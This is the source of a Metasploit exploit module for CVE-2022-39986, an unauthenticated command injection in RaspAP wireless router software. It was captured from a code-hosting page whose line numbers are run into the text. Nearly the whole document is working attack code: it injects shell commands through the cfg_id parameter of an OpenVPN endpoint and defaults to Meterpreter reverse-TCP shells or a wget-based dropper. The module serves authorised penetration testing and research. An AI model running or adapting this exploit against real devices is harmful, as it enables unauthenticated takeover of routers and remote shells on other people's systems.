Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/raspap_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'RaspAP Unauthenticated Command Injection',17'Description' => %q{18RaspAP is feature-rich wireless router software that just works19on many popular Debian-based devices, including the Raspberry Pi.20A Command Injection vulnerability in RaspAP versions 2.8.0 thru 2.8.7 allows21unauthenticated attackers to execute arbitrary commands in the context of the user running RaspAP via the cfg_id22parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.2324Successfully tested against RaspAP 2.8.0 and 2.8.7.25},26'License' => MSF_LICENSE,27'Author' => [28'Ege BALCI <egebalci[at]pm.me>', # msf module29'Ismael0x00', # original PoC, analysis30],31'References' => [32['CVE', '2022-39986'],33['URL', 'https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2'],34['URL', 'https://github.com/advisories/GHSA-7c28-wg7r-pg6f']35],36'Platform' => ['unix', 'linux'],37'Privileged' => false,38'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],39'Targets' => [40[41'Unix Command',42{43'Platform' => 'unix',44'Arch' => ARCH_CMD,45'Type' => :unix_cmd,46'DefaultOptions' => {47'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'48}49}50],51[52'Linux Dropper',53{54'Platform' => 'linux',55'Arch' => [ARCH_X86, ARCH_X64],56'Type' => :linux_dropper,57'CmdStagerFlavor' => :wget,58'DefaultOptions' => {59'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'60}61}62]63],64'DisclosureDate' => '2023-07-31',65'DefaultTarget' => 0,66'Notes' => {67'Stability' => [CRASH_SAFE],68'Reliability' => [REPEATABLE_SESSION],69'SideEffects' => []70}71)72)73register_options(74[75Opt::RPORT(80),76OptString.new('TARGETURI', [ true, 'The URI of the RaspAP Web GUI', '/'])77]78)79end8081def check82res = send_request_cgi(83'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),84'method' => 'POST'85)86return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?8788if res.code == 20089return CheckCode::Appears90end9192CheckCode::Safe93end9495def execute_command(cmd, _opts = {})96send_request_cgi(97'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),98'method' => 'POST',99'vars_post' => {100'cfg_id' => ";#{cmd};#"101}102)103end104105def exploit106case target['Type']107when :unix_cmd108print_status("Executing #{target.name} with #{payload.encoded}")109execute_command(payload.encoded)110when :linux_dropper111print_status("Executing #{target.name}")112execute_cmdstager113end114end115end116117118